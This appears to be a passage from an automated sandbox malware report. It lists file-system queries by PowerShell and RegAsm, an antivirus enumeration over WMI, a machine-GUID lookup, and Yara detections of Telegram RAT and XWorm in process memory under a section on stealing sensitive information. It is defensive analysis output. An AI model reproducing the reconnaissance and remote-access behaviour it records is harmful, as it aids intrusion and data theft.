                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                  Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

                  Stealing of Sensitive Information

                  barindex
                  Yara detected Telegram RAT
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 8080, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 2568, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 1820, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 8700, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 8224, type: MEMORYSTR
                  Yara detected XWorm
                  Source: Yara matchFile source: 53.2.powershell.exe.1d3333e0230.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 44.2.powershell.exe.1558669f3b8.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 32.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 36.2.powershell.exe.1de3d91f608.1.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 28.2.powershell.exe.1e6806fed08.1.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 20.2.powershell.exe.20ece618be0.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 44.2.powershell.exe.1558669b658.1.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 44.2.powershell.exe.1558669f3b8.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 28.2.powershell.exe.1e6806fed08.1.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 28.2.powershell.exe.1e6806fafa8.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 20.2.powershell.exe.20ece618be0.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 20.2.powershell.exe.20ece614e80.1.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 36.2.powershell.exe.1de3d91b8a8.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 53.2.powershell.exe.1d3333e0230.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 36.2.powershell.exe.1de3d91f608.1.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 53.2.powershell.exe.1d3333dc4d0.1.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 00000020.00000002.2087880132.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000002C.00000002.2333261639.0000015586871000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000035.00000002.2425933120.000001D3332B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000014.00000002.2013251264.0000020ECE7E8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000035.00000002.2425933120.000001D3335B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000002C.00000002.2333261639.000001558655B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000014.00000002.2013251264.0000020ECE53D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000001C.00000002.2070695014.000001E6808CE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000024.00000002.2195585060.000001DE3D7DB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000024.00000002.2195585060.000001DE3DAEF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000001C.00000002.2070695014.000001E6805BB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 8080, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 2568, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 2540, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 1820, type: MEMORYSTR
